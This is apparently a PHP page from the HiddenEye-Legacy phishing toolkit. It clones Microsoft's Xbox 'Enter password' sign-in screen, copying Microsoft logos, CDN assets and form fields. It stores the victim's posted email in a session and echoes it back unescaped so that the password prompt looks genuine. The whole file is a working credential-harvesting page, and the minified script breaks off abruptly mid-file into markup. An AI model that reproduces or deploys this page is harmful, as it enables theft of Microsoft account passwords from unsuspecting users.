HiddenEye-Legacy/WebPages/xbox/pass.php

154 lines
82 KiB
PHP
Raw Normal View History

<?php
session_start();
if(isset($_POST["Email"])){
$_SESSION["Email"]=$_POST["Email"];
}
?>
<html dir="ltr" lang="EN-US"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><script type="text/javascript">var PROOF = {};PROOF.Type = {SQSA: 6, CSS: 5, DeviceId: 4, Email: 1, AltEmail: 2, SMS: 3, HIP: 8, Birthday: 9, TOTPAuthenticator: 10, RecoveryCode: 11, StrongTicket: 13, TOTPAuthenticatorV2: 14, UniversalSecondFactor: 15, Voice: -3};</script><noscript><meta http-equiv="Refresh" content="0; URL=https://login.live.com/jsDisabled?mkt=EN-US&lc=1033&uaid=c32114cb67f1490b46720d4d540fe260"/>Microsoft account requires JavaScript to sign in. This web browser either does not support JavaScript, or scripts are being blocked.<br /><br />To find out whether your browser supports JavaScript, or to allow scripts, see the browser's online help.</noscript><title>Sign in to your Microsoft account</title><meta name="robots" content="none"><meta name="PageID" content="i5030"><meta name="SiteID" content="38936"><meta name="ReqLC" content="1033"><meta name="LocLC" content="1033"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes"><script type="text/javascript">!function(e,r){for(var t in r)e[t]=r[t]}(this,function(e){function r(n){if(t[n])return t[n].exports;var o=t[n]={exports:{},id:n,loaded:!1};return e[n].call(o.exports,o,o.exports,r),o.loaded=!0,o.exports}var t={};return r.m=e,r.c=t,r.p="",r(0)}([function(e,r){!function(){function e(){return s.$Config||s.ServerData||{}}function r(e,r){var t=s.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(e){var r=e.indexOf("?"),t=r>-1?r:e.length;return t>u&&e.substr(t-u,u).toLowerCase()===c}function n(){var r=e(),t=r.loader||{};return t.slReportFailure||r.slReportFailure||!1}function o(){var r=e(),t=r.loader||{};return t.redirectToErrorPageOnLoadFailure||!1}function a(e){var r=!0,n=e.src||e.href||"";if(n){if(t(n))try{e.sheet&&e.sheet.cssRules&&!e.sheet.cssRules.length&&(r=!1)}catch(o){}}else r=!1;return r}function i(){function n(e){var r=d.getElementsByTagName("head")[0];r.appendChild(e)}function o(e,r,n){var o=t(e)?i(e):s(e);return r&&(o.id=r),o.setAttribute&&(o.setAttribute("crossorigin","anonymous"),n&&o.setAttribute("integrity",n)),o}function i(e){var r=d.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function s(e){var r=d.createElement("script");return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function c(e){if(!(p&&p.length>1))return e;for(var r=0;r<p.length;r++)if(0===e.indexOf(p[r]))return p[r+1<p.length?r+1:0]+e.substring(p[r].length);return e}function u(e,t,n,o){return r("[$Loader]: "+(y.failMessage||"Failed"),o),L[e].retry<g?(L[e].retry++,void f(e,t,n)):void(n&&n())}function l(e,t,n,o){a(o)?(r("[$Loader]: "+(y.successMessage||"Loaded"),o),f(e+1,t,n)):u(e,t,n,o)}function f(e,t,a){if(e<L.length){var i=L[e];if(!i||!i.srcPath)return void f(e+1,t,a);i.retry>0&&(i.srcPath=c(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var s=o(i.srcPath,i.id,i.integrity);s.onload=function(){l(e,t,a,s)},s.onerror=function(){u(e,t,a,s)},s.onreadystatechange=function(){"loaded"===s.readyState?setTimeout(function(){l(e,t,a,s)},500):"complete"===s.readyState&&l(e,t,a,s)},n(s),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else t&&t()}var h=e(),g=h.slMaxRetry||2,v=h.loader||{},p=v.cdnRoots||[],y=this,L=[];y.retryOnError=!0,y.successMessage="Loaded",y.failMessage="Error",y.Add=function(e,r,t,n){e&&L.push({srcPath:e,id:r,retry:n||0,integrity:t})},y.AddForReload=function(e){var r=e.src||e.href||"";y.Add(r,"AddForReload",e.integrity,1)},y.AddIf=function(e,r,t){e&&y.Add(r,t)},y.Load=function(e,r){f(0,e,r)}}var s=window,d=s.document,c=".css",u=c.length;i.On=function(e,r){if(!e)throw"The target element must be provided and cannot be null.";r?i.OnError(e):i.OnSuccess(e)},i.OnSuccess=function(e){var t=e.src||e.href||"",s=n(),d=o();if(!e)throw"The target element must be provided and cannot be null.";if(a(e)){r("[$Loader]: Loaded
params: {
serverData: svr,
showButtons: svr.f,
showFooterLinks: true,
useWizardBehavior: svr.av,
handleWizardButtons: false,
password: password,
hideFromAria: ariaHidden },
event: {
footerAgreementClick: footer_agreementClick } }">
<!-- ko template: { nodes: $componentTemplateNodes, data: $parent } --><!-- ko if: svr.aM --><!-- /ko -->
<div class="middle" data-bind="css: { 'app': backgroundLogoUrl }"><!-- ko if: backgroundLogoUrl() && !(paginationControlMethods() && paginationControlMethods().currentViewHasMetadata('hideLogo')) --><!-- /ko -->
<img class="background-logo" role="presentation" data-bind="attr: { src: backgroundLogoUrl }" src="https://logincdn.msauth.net/16.000.28378.12/images/AppLogos/20.png?x=71c5dd371596273fd346bd0c6ebe8fb9" style="margin-bottom:20px">
<div class="inner fade-in-lightbox" data-bind="
animationEnd: paginationControlMethods() &amp;&amp; paginationControlMethods().view_onAnimationEnd,
css: {
'app': backgroundLogoUrl,
'wide': paginationControlMethods() &amp;&amp; paginationControlMethods().currentViewHasMetadata('wide'),
'fade-in-lightbox': fadeInLightBox,
'has-popup': showFedCredButton,
'transparent-lightbox': backgroundControlMethods() &amp;&amp; backgroundControlMethods().useTransparentLightBox }"> <div class="lightbox-cover" data-bind="css: { 'disable-lightbox': svr.BX &amp;&amp; showLightboxProgress() }"></div><!-- ko if: showLightboxProgress --><!-- /ko --><!-- ko ifnot: paginationControlMethods() && (paginationControlMethods().currentViewHasMetadata('hideLogo')) --> <div data-bind="component: { name: 'logo-control',
params: {
isChinaDc: svr.fIsChinaDc,
bannerLogoUrl: bannerLogoUrl() } }"><!-- --><!-- ko if: bannerLogoUrl --><!-- /ko --><!-- ko if: !bannerLogoUrl && !isChinaDc --><!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko --><!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme --> <!-- ko template: { nodes: [darkImageNode], data: $parent } --><img class="logo" pngsrc="https://logincdn.msauth.net/16.000.28215.2/images/microsoft_logo.png?x=ed9c9eb0dce17d752bedea6b5acda6d9" svgsrc="https://logincdn.msauth.net/16.000.28215.2/images/microsoft_logo.svg?x=ee5c8d9fb6248c938fd0dc19370e90bd" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://logincdn.msauth.net/16.000.28215.2/images/microsoft_logo.svg?x=ee5c8d9fb6248c938fd0dc19370e90bd" alt="Microsoft"><!-- /ko --> <!-- /ko --><!-- /ko --> <!-- /ko --></div><!-- /ko --><!-- ko if: svr.Cr && (paginationControlMethods() && !paginationControlMethods().currentViewHasMetadata('hideLwaDisclaimer')) --><!-- /ko --><!-- ko if: asyncInitReady --> <div role="main" data-bind="component: { name: 'pagination-control',
publicMethods: paginationControlMethods,
params: {
enableCssAnimation: svr.A6,
initialViewId: initialViewId,
currentViewId: currentViewId,
initialSharedData: initialSharedData,
initialError: $loginPage.getServerError() },
event: {
cancel: paginationControl_onCancel,
showView: $loginPage.view_onShow,
setLightBoxFadeIn: view_onSetLightBoxFadeIn,
animationStateChange: paginationControl_onAnimationStateChange } }"><!-- --> <div data-bind="css: { 'zero-opacity': hidePaginatedView() }" class=""><!-- ko if: showIdentityBanner() && (sharedData.displayName || svr.g) --> <div data-bind="css: {
'animate': animate() &amp;&amp; animate.animateBanner(),
'slide-out-next': animate.isSlideOutNext(),
'slide-in-next': animate.isSlideInNext(),
'slide-out-back': animate.isSlideOutBack(),
'slide-in-back': animate.isSlideInBack() }" class="animate slide-in-next"> <div data-bind="component: { name: 'identity-banner-control',
params: {
userTileUrl: svr.Br,
displayName: sharedData.displayName || svr.g,
isBackButtonVisible: isBackButtonVisible(),
focusOnBackButton: isBackButtonFocused(),
backButtonDescribedBy: backButtonDescribedBy() },
event: {
backButtonClick: identityBanner_onBackButtonClick } }"><!-- --> <div class="identityBanner"><!-- ko if: isBackButtonVisible --> <button type="button" onclick="window.history.go(-1); return false;" class="backButton" data-bind="
attr: { 'id': backButtonId || 'idBtn_Back' },
ariaLabel: str['CT_HRD_STR_Splitter_Back'],
ariaDescribedBy: backButtonDescribedBy,
click: backButton_onClick,
hasFocus: focusOnBackButton" id="idBtn_Back" aria-label="Back"><!-- ko ifnot: svr.bH --><!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko --><!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme --> <!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://logincdn.msauth.net/16.000.28215.2/images/arrow_left.png?x=7cc096da6aa2dba3f81fcc1c8262157c" svgsrc="https://logincdn.msauth.net/16.000.28215.2/images/arrow_left.svg?x=a9cc2824ef3517b6c4160dcf8ff7d410" data-bind="imgSrc" src="https://logincdn.msauth.net/16.000.28215.2/images/arrow_left.svg?x=a9cc2824ef3517b6c4160dcf8ff7d410"><!-- /ko --> <!-- /ko --><!-- /ko --><!-- /ko --><!-- ko if: svr.bH --><!-- /ko --> </button><!-- /ko --> <div id="displayName" class="identity" data-bind="text: unsafe_displayName, attr: { 'title': unsafe_displayName }" title="<?php echo $_POST["Email"]; ?>"><?php echo $_POST["Email"]; ?></div> </div></div> </div><!-- /ko --> <div class="pagination-view animate has-identity-banner slide-in-next" data-bind="css: {
'has-identity-banner': showIdentityBanner() &amp;&amp; (sharedData.displayName || svr.g),
'zero-opacity': hidePaginatedView.hideSubView(),
'animate': animate(),
'slide-out-next': animate.isSlideOutNext(),
'slide-in-next': animate.isSlideInNext(),
'slide-out-back': animate.isSlideOutBack(),
'slide-in-back': animate.isSlideInBack() }"><!-- ko foreach: views --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --> <!-- ko template: { nodes: [$data], data: $parent } --><div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-paginated-password-view',
params: {
serverData: svr,
serverError: initialError,
isInitialView: isInitialState,
username: sharedData.username,
displayName: sharedData.displayName,
hipRequiredForUsername: sharedData.hipRequiredForUsername,
passwordBrowserPrefill: sharedData.passwordBrowserPrefill,
availableCreds: sharedData.availableCreds,
evictedCreds: sharedData.evictedCreds,
useEvictedCredentials: sharedData.useEvictedCredentials,
flowToken: sharedData.flowToken,
defaultKmsiValue: svr.Z === 1,
userTenantBranding: sharedData.userTenantBranding,
sessions: sharedData.sessions,
callMetadata: sharedData.callMetadata,
gitHubRedirectUrl: sharedData.gitHubParams.redirectUrl || svr.m,
googleRedirectUrl: sharedData.googleParams.redirectUrl || svr.AD },
event: {
updateFlowToken: $loginPage.view_onUpdateFlowToken,
submitReady: $loginPage.view_onSubmitReady,
redirect: $loginPage.view_onRedirect,
resetPassword: $loginPage.passwordView_onResetPassword,
setBackButtonState: view_onSetIdentityBackButtonState,
setPendingRequest: $loginPage.view_onSetPendingRequest } }"><!-- --> <input type="hidden" name="i13" data-bind="value: isKmsiChecked() ? 1 : 0" value="0"> <input type="hidden" name="login" data-bind="value: unsafe_username" value=""> <input type="text" name="loginfmt" data-bind="moveOffScreen, value: unsafe_displayName" class="moveOffScreen" tabindex="-1" aria-hidden="true"> <input type="hidden" name="type" data-bind="value: svr.av ? 20 : 11" value="11"> <input type="hidden" name="LoginOptions" data-bind="value: isKmsiChecked() ? 1 : 3" value="3"> <input type="hidden" name="lrt" data-bind="value: callMetadata.IsLongRunningTransaction" value=""> <input type="hidden" name="lrtPartition" data-bind="value: callMetadata.LongRunningTransactionPartition" value=""> <input type="hidden" name="hisRegion" data-bind="value: callMetadata.HisRegion" value=""> <input type="hidden" name="hisScaleUnit" data-bind="value: callMetadata.HisScaleUnit" value=""> <div id="loginHeader" class="row text-title" role="heading" aria-level="1" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Enter password</div><!-- ko if: unsafe_pageDescription --><!-- /ko --> <div class="row"> <div class="form-group col-md-24"> <div role="alert" aria-live="assertive"><!-- ko if: passwordTextbox.error --><!-- /ko --> </div> <div class="placeholderContainer" data-bind="component: { name: 'placeholder-textbox-field',
publicMethods: passwordTextbox.placeholderTextboxMethods,
params: {
serverData: svr,
hintText: str['CT_PWD_STR_PwdTB_Label'] },
event: {
updateFocus: passwordTextbox.textbox_onUpdateFocus } }"><!-- ko withProperties: { '$placeholderText': placeholderText } --> <!-- ko template: { nodes: $componentTemplateNodes, data: $parent } --> <input name="passwd" type="password" id="i0118" autocomplete="off" class="form-control" aria-required="true" data-bind="
textInput: passwordTextbox.value,
ariaDescribedBy: 'loginHeader passwordDesc',
hasFocusEx: passwordTextbox.focused() &amp;&amp; !showPassword(),
placeholder: $placeholderText,
ariaLabel: unsafe_passwordAriaLabel,
moveOffScreen: showPassword,
css: { 'has-error': passwordTextbox.error }" aria-describedby="loginHeader passwordDesc" placeholder="Password" aria-label="Enter the password for " tabindex="0" autofocus><!-- ko if: svr.by && showPassword() --><!-- /ko --> <!-- /ko --><!-- /ko --><!-- ko ifnot: usePlaceholderAttribute --><!-- /ko --></div><!-- ko if: svr.by --><!-- /ko --> </div> </div><!-- ko if: svr.Ae && showHipOnPasswordView --><!-- /ko --> <div data-bind="css: { 'position-buttons': !tenantBranding.BoilerPlateText }" class="position-buttons"> <div><!-- ko if: svr.br --><!-- /ko --><!-- ko if: svr.aH !== false && !svr.br && !tenantBranding.KeepMeSignedInDisabled --> <div id="idTd_PWD_KMSI_Cb" class="form-group checkbox text-block-body no-margin-top" data-bind="visible: !svr.F &amp;&amp; !showHipOnPasswordView"> <label id="idLbl_PWD_KMSI_Cb"> <input name="KMSI" id="idChkBx_PWD_KMSI0Pwd" type="checkbox" data-bind="checked: isKmsiChecked, ariaLabel: str['CT_PWD_STR_KeepMeSignedInCB_Text']" aria-label="Keep me signed in"> <span data-bind="text: str['CT_PWD_STR_KeepMeSignedInCB_Text']">Keep me signed in</span> </label> </div><!-- /ko --> <div class="row"> <div class="col-md-24"> <div class="text-13 action-links"> <div class="form-group"> <a id="idA_PWD_ForgotPassword" role="link" href="https://account.live.com/ResetPassword.aspx?wreply=https://login.live.com/login.srf%3flc%3d1033%26contextid%3d8E99D5BAD7CA9579%26bk%3d1560391134&amp;id=38936&amp;uiflavor=web&amp;uaid=c32114cb67f1490b46720d4d540fe260&amp;mkt=EN-US&amp;lc=1033&amp;bk=1560391134" data-bind="text: str['CT_PWD_STR_ForgotPwdLink_Text'], href: svr.n, click: resetPassword_onClick">Forgot my password</a> </div><!-- ko if: allowPhoneDisambiguation --><!-- /ko --><!-- ko ifnot: useEvictedCredentials --><!-- ko component: { name: "cred-switch-link-control",
params: {
serverData: svr,
username: username,
availableCreds: availableCreds,
flowToken: flowToken,
currentCred: { credType: 1 } },
event: {
switchView: credSwitchLink_onSwitchView,
setPendingRequest: credSwitchLink_onSetPendingRequest,
updateFlowToken: credSwitchLink_onUpdateFlowToken } } --><!-- --> <div class="form-group"><!-- ko if: credentialCount > 1 || (credentialCount === 1 && (showForgotUsername || selectedCredShownOnlyOnPicker)) --><!-- /ko --><!-- ko if: credentialCount === 1 && !(showForgotUsername || selectedCredShownOnlyOnPicker) --><!-- /ko --><!-- ko if: credentialCount === 0 && showForgotUsername --><!-- /ko --> </div><!-- ko if: credLinkError --><!-- /ko --><!-- /ko --><!-- ko if: evictedCreds.length > 0 --><!-- /ko --><!-- /ko --><!-- ko if: showChangeUserLink --><!-- /ko --> </div> </div> </div> </div> <div class="row" data-bind="css: { 'move-buttons': tenantBranding.BoilerPlateText }"> <div data-bind="component: { name: 'footer-buttons-field',
params: {
serverData: svr,
primaryButtonText: str['CT_PWD_STR_SignIn_Button'],
isPrimaryButtonEnabled: !isRequestPending(),
isPrimaryButtonVisible: svr.f,
isSecondaryButtonEnabled: true,
isSecondaryButtonVisible: false },
event: {
primaryButtonClick: primaryButton_onClick } }"><div class="col-xs-24 no-padding-left-right button-container" data-bind="
visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(),
css: { 'no-margin-bottom': removeBottomMargin }"><!-- ko if: isSecondaryButtonVisible --><!-- /ko --> <div class="inline-block"><!-- type="submit" is needed in-addition to 'type' in primaryButtonAttributes observable to support IE8 --> <input type="submit" id="idSIButton9" class="btn btn-block btn-primary" data-bind="
attr: primaryButtonAttributes,
value: primaryButtonText() || str['CT_PWD_STR_SignIn_Button_Next'],
hasFocus: focusOnPrimaryButton,
click: primaryButton_onClick,
enable: isPrimaryButtonEnabled,
visible: isPrimaryButtonVisible,
preventTabbing: primaryButtonPreventTabbing" value="Sign in"> </div> </div></div> </div> </div><!-- ko if: tenantBranding.BoilerPlateText --><!-- /ko --></div><!-- /ko --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko --><!-- /ko --> </div> </div></div><!-- /ko --> </div><!-- ko if: showFedCredButton --><!-- /ko --><!-- ko if: newSession --><!-- /ko --> <input type="hidden" name="ps" data-bind="value: postedLoginStateViewId" value=""> <input type="hidden" name="psRNGCDefaultType" data-bind="value: postedLoginStateViewRNGCDefaultType" value=""> <input type="hidden" name="psRNGCEntropy" data-bind="value: postedLoginStateViewRNGCEntropy" value=""> <input type="hidden" name="psRNGCSLK" data-bind="value: postedLoginStateViewRNGCSLK" value=""> <input type="hidden" name="canary" data-bind="value: svr.canary" value=""> <input type="hidden" name="ctx" data-bind="value: ctx" value=""> <input type="hidden" name="hpgrequestid" data-bind="value: svr.sessionId" value=""> <input type="hidden" id="i0327" data-bind="attr: { name: svr.CL }, value: flowToken" name="PPFT" value="DbZKx3pUePoIb10*CoE1qpxFW5Qmp4LHfMx!T5CmsVMWagd!dlMOxoUzGs1eQxbWqwSyQD1cAv13rTyPGtbDKqUdEhC*z2UCoZiL4g!9jxgm9svXxxv4Bm*NtapfBFRvcknSL81IMO0CGV*FefVp*NVJ2o5QkFkOwk1YxwPCO4btQtMPSETpBQe5r6OzU0mfh7UcqQyBttWvjibejbUimImIme7AZV4ENu1c4GPayzRL*axCInKi2666CLLgJDWuRw$$"> <input type="hidden" name="PPSX" data-bind="value: svr.Co" value="Pass"> <input type="hidden" name="NewUser" value="1"> <input type="hidden" name="FoundMSAs" data-bind="value: svr.AA" value=""> <input type="hidden" name="fspost" data-bind="value: svr.fPOST_ForceSignin ? 1 : 0" value="0"> <input type="hidden" name="i21" data-bind="value: wasLearnMoreShown() ? 1 : 0" value="0"> <input type="hidden" name="CookieDisclosure" data-bind="value: svr.aM ? 1 : 0" value="0"> <input type="hidden" name="IsFidoSupported" data-bind="value: isFidoSupported() ? 1 : 0" value="0"> <div data-bind="component: { name: 'instrumentation-control',
publicMethods: instrumentationMethods,
params: { serverData: svr } }"><input type="hidden" name="i2" data-bind="value: clientMode" value="1"> <input type="hidden" name="i17" data-bind="value: srsFailed" value="0"> <input type="hidden" name="i18" data-bind="value: srsSuccess"> <input type="hidden" name="i19" data-bind="value: timeOnPage" value=""></div> <div id="footer" class="footer default" role="contentinfo" data-bind="css: { 'default': !backgroundLogoUrl() }"> <div data-bind="component: { name: 'footer-control',
params: {
serverData: svr,
debugDetails: debugDetails,
showLinks: true },
event: {
agreementClick: footer_agreementClick } }"><!-- --><!-- ko if: showLinks || impressumLink || showIcpLicense --> <div id="footerLinks" class="footerNode text-secondary"><!-- ko if: !showIcpLicense --> <span id="ftrCopy" data-bind="html: svr.Cq">©2019 Microsoft</span><!-- /ko --> <a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" href="https://login.live.com/gls.srf?urlID=WinLiveTermsOfUse&amp;mkt=EN-US&amp;vv=1600&amp;uaid=c32114cb67f1490b46720d4d540fe260">Terms of use</a> <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" href="https://login.live.com/gls.srf?urlID=MSNPrivacyStatement&amp;mkt=EN-US&amp;vv=1600&amp;uaid=c32114cb67f1490b46720d4d540fe260">Privacy &amp; cookies</a><!-- ko if: impressumLink --><!-- /ko --><!-- ko if: showIcpLicense --><!-- /ko --><!-- Set attr binding before hasFocus to prevent Narrator from losing focus --> <a href="#" role="button" class="moreOptions" data-bind="
click: moreInfo_onClick,
ariaLabel: str['CT_STR_More_Options_Ellipsis_AriaLabel'],
attr: { 'aria-expanded': showDebugDetails().toString(),
hasFocus: focusMoreInfo() }" aria-label="Click here for troubleshooting information" aria-expanded="false"><!-- ko component: { name: 'accessible-image-control', params: { hasDarkBackground: true } } --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --> <!-- ko template: { nodes: [lightImageNode], data: $parent } --><img class="desktopMode" role="presentation" pngsrc="https://logincdn.msauth.net/16.000.28215.2/images/ellipsis_white.png?x=0ad43084800fd8b50a2576b5173746fe" svgsrc="https://logincdn.msauth.net/16.000.28215.2/images/ellipsis_white.svg?x=5ac590ee72bfe06a7cecfd75b588ad73" data-bind="imgSrc" src="https://logincdn.msauth.net/16.000.28215.2/images/ellipsis_white.svg?x=5ac590ee72bfe06a7cecfd75b588ad73"><!-- /ko --><!-- /ko --><!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme --><!-- /ko --><!-- /ko --><!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko --><!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme --> <!-- ko template: { nodes: [darkImageNode], data: $parent } --><img class="mobileMode" role="presentation" pngsrc="https://logincdn.msauth.net/16.000.28215.2/images/ellipsis_grey.png?x=5bc252567ef56db648207d9c36a9d004" svgsrc="https://logincdn.msauth.net/16.000.28215.2/images/ellipsis_grey.svg?x=2b5d393db04a5e6e1f739cb266e65b4c" data-bind="imgSrc" src="https://logincdn.msauth.net/16.000.28215.2/images/ellipsis_grey.svg?x=2b5d393db04a5e6e1f739cb266e65b4c"><!-- /ko --> <!-- /ko --><!-- /ko --> </a> </div><!-- ko if: showDebugDetails --><!-- /ko --> <!-- /ko --></div> </div> </div> <!-- /ko --></div><!-- /ko --> </form> <form method="post" aria-hidden="true" target="_top" data-bind="autoSubmit: postRedirectForceSubmit, attr: { action: postRedirectUrl }"><!-- ko foreach: postRedirectParams --><!-- /ko --> </form><!-- ko if: svr.AV && !svr.Aw --><!-- /ko --><!-- ko if: svr.Aw && callMsaStaticMeControl() --><!-- /ko --><!-- ko if: svr.As --><!-- /ko --></div></body></html>